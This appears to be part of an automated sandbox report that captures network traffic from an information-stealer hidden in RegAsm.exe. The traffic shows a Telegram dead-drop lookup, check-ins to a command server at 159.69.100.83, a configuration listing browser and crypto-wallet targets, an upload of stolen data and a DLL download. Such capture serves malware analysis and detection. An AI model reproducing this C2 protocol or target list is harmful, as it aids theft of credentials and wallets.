Sep 15, 2024 19:37:44.398431063 CEST	1236	IN	Data Raw: b9 ba 39 7f 2b ae e0 b6 3e 28 7c b2 18 ee dc e2 13 09 5f cc cf df d2 3c d9 aa 79 64 34 8e fe a4 89 58 5d ad 41 2b d9 b2 7f 4a d0 d9 1f 4b f8 af 69 3c ea e2 33 8a ce 22 d1 2e 24 78 88 b3 f2 2d 15 96 ca 81 24 c2 45 12 31 56 d2 ce c6 89 54 1b 74 66 Data Ascii: 9+>(\|_<yd4X]A+JKi<3".$x-$E1VTtfgVqf7//U_\|[vgJJ3CBZpWVnV{]k\|].lgv 7N_xH^BVw4/yFp-h}@6EZB`K@RcW
Sep 15, 2024 19:37:44.398464918 CEST	1236	IN	Data Raw: 93 b8 36 27 5e 1c 25 24 83 f2 15 23 27 c4 52 e4 e1 1f 52 10 22 f5 a0 ef 6d 9b 7b dc 93 fa 0b f5 ff 16 fd 2a 4d b3 22 34 18 0b 51 11 ae 61 1d d0 b4 d0 cc 98 8f 03 ef 48 12 bb 7e a0 e6 8b d5 9d 86 68 a7 99 2d 10 f8 78 24 05 85 b2 fd 72 11 ba 9b 5e Data Ascii: 6'^%$#'RR"m{*M"4QaH~h-x$r^,_,u0L4YM$+."De$=3mx0OV^#_S]3VmmQ_=,JH/ZG>XER4BQb,
Sep 15, 2024 19:37:44.398500919 CEST	896	IN	Data Raw: 4f ab 8c 9f 01 b0 32 40 2d e9 21 6c 41 dc 58 26 3f 0f 27 8f 19 8c fe db 51 37 0f cf 61 fc 7e a3 b6 41 4f ca 93 23 7d 88 f3 43 d1 54 02 98 20 8c 4f 26 39 08 9e 39 3f 64 65 79 92 e5 86 14 5b b3 b4 9d ce 24 1a e3 41 98 d0 6a c6 c5 ab 1a 41 84 1f 40 Data Ascii: O2@-!lAX&?'Q7a~AO#}CT O&99?dey[$AjA@jGg{}.6QszB>`j8'%p"3Q~S#v@['+Gb^Sy9G_d}!Sj5d^1@-=0zs
Sep 15, 2024 19:37:44.398535013 CEST	1236	IN	Data Raw: 1f 3b 2b 8c 9f 8a 8b 08 24 61 04 44 c7 83 8f 19 89 92 16 db 7c f9 eb aa ed 28 21 31 d8 6f 7c cc ad 08 3c a9 b7 9b 47 80 9d 4f fa 92 3f 28 8d 7a da eb 67 ae 30 90 07 af be ce f1 21 97 0e 74 e7 60 b7 93 5b 24 db 02 f3 af 53 30 8c 6e 1c 8d 67 6f f0 Data Ascii: ;+$aD\|(!1o\|<GO?(zg0!t`[$S0ngoq.@a~%;FDr:euIHe+D<pQLd!p0CR_o7p#2a/-90=jX!:xYH5vG5laMC&\!<A5h:gHBkM
Sep 15, 2024 19:37:44.398569107 CEST	1236	IN	Data Raw: 7d 2c 3d b0 99 0c 4d 0d 05 4c 6a 55 35 de 58 ae 79 96 b7 e8 a4 47 45 3b 88 e5 bb 52 af a7 25 51 50 40 a8 41 e7 8c 93 71 bd b4 14 bb 58 0f 03 e8 31 26 9b 3d f4 b7 1a 8b aa ea de 36 ce d4 f3 dc 5c 02 16 6e 84 b9 f6 7a 28 67 8a 1d 41 81 2e ce 5d a2 Data Ascii: },=MLjU5XyGE;R%QP@AqX1&=6\nz(gA.]CT"RU`Zw&:Tc]@gUs-O%&#7g\|L!#/Ie$?Urr1)$dgQaPi1k<;rv,P IonZ_<t
Sep 15, 2024 19:37:44.398602009 CEST	1236	IN	Data Raw: e1 30 c4 cb f9 0a 7a 55 67 9f 68 9d c9 37 d6 84 0e 9d 74 f3 7f 71 9e 7d be 6c 23 18 9b 1e 5d 9f 5a e9 ca db 0b 5a 9c 32 9b 22 50 ab 6c 25 ae 95 19 53 4f df 31 8f fc 3b 35 68 7c d2 28 a9 65 64 c9 18 9a 1f 81 c4 db f9 52 b1 f6 0f 41 53 8a d0 3f 8c Data Ascii: 0zUgh7tq}l#]ZZ2"Pl%SO1;5h\|(edRAS?G,"DnNWJIpk:uI#I6j$7;q%f@lB$.vR~VZVd +F?5\{Kl~)^,\|-nHcGr1
Sep 15, 2024 19:37:44.398637056 CEST	1236	IN	Data Raw: a5 94 1c 86 ed 8f 30 03 90 3a 63 10 d0 7a 8c ab 0a 06 d7 bd a1 4e 0f 3b ff f8 58 49 e6 0f 32 6a 82 9d 80 51 b0 30 00 75 4f ca dc 6a 9b 25 90 1e 1c 9c 94 c4 48 08 ed df 76 e0 b9 27 d0 5d 33 fe 69 12 50 3c 94 fa c4 73 db be 58 87 8d 49 eb 8c 3a 6f Data Ascii: 0:czN;XI2jQ0uOj%Hv']3iP<sXI:o`9yP6S?C:vz20O!w3OD9$SSG7T=2ms!- j\5{Ukk. N/&'5ECN\_)k0xPs;N-
Sep 15, 2024 19:37:44.398670912 CEST	1236	IN	Data Raw: 31 95 90 0d 8b a2 be f1 a5 ba ca 01 11 9d ec 43 66 4d 58 d3 59 04 27 f3 f7 38 2f bb 08 4d 1f 6e 43 cc 98 43 d3 ef a1 7b 87 bb 20 ce b7 e1 17 69 6d 8e f6 66 0e 41 89 35 94 e5 2d 28 42 b0 a8 49 09 6f b8 98 a0 e0 a3 90 58 e8 a7 1e 00 ec 70 47 99 5c Data Ascii: 1CfMXY'8/MnCC{ imfA5-(BIoXpG\c,`!Eat"d}fVR\S-wF6hih}W2$ga#W\|:-1lIzi@OyHi#M/C.R\4ns[1*@3E[FvFg4
Sep 15, 2024 19:37:44.403670073 CEST	1236	IN	Data Raw: 12 27 67 48 57 0c cb d4 0e d2 17 dc 55 df e1 21 4f 54 a8 4d ec 06 cd 72 b3 2a db fe 9d f6 cb b4 64 56 64 ec 1a c2 71 17 d7 2b a1 da 14 b0 8c bc 38 24 2f 22 90 0c 68 a0 c8 fd f4 04 d6 79 d4 ef f8 80 43 18 77 f6 fa 5f 0f d2 a1 84 f2 d1 a1 b1 2f 1a Data Ascii: 'gHWU!OTMrdVdq+8$/"hyCw_/l>8oc)9)PIfl:~AH[3aoV0@[D>lavRo/l28K-\|ui</VOYv\lGb{q^l*`WZol3fVU

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	149.154.167.99	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:36:57 UTC	84	OUT	GET /edm0d HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:36:57 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 15 Sep 2024 17:36:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12287 Connection: close Set-Cookie: stel_ssid=e516ee49ffe9310ba1_11508170969015197416; expires=Mon, 16 Sep 2024 17:36:57 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-15 17:36:57 UTC	12287	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 65 64 6d 30 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @edm0d</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49721	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:36:58 UTC	233	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:36:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:36:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49723	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:36:59 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:36:59 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 31 42 43 42 34 34 32 36 42 31 31 35 35 35 30 32 31 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="hwid"C791BCB4426B1155502147-a33c7340-61ca------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------IJDGCAEBFIIECAKFHIJE--
2024-09-15 17:36:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:36:59 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|5b4ab14b3eff38abbad408863f840756\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49724	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:00 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:00 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------DBKKFCBAKKFBGCBFHJDGCont
2024-09-15 17:37:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:01 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49725	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:02 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:02 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------CBKJJEHCBAKFBFHJKFBKCont
2024-09-15 17:37:02 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:02 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49726	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:03 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:03 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------ECGHJJEHDHCAAKFIIDGICont
2024-09-15 17:37:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:04 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49727	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:04 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Content-Length: 5317 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:04 UTC	5317	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 34 61 62 31 34 62 33 65 66 66 33 38 61 62 62 61 64 34 30 38 38 36 33 66 38 34 30 37 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 62 34 64 31 62 39 65 32 30 39 65 36 35 36 64 33 32 64 36 62 39 34 66 36 35 38 39 30 33 62 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 43 42 47 44 42 4b 4a 4b 46 48 49 45 43 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="token"5b4ab14b3eff38abbad408863f840756------EHJDGCBGDBKJKFHIECBAContent-Disposition: form-data; name="build_id"4b4d1b9e209e656d32d6b94f658903b1------EHJDGCBGDBKJKFHIECBACont
2024-09-15 17:37:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-15 17:37:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49728	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:05 UTC	241	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:06 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:06 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:06 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:06 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-15 17:37:06 UTC	16384	IN	Data Raw: 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
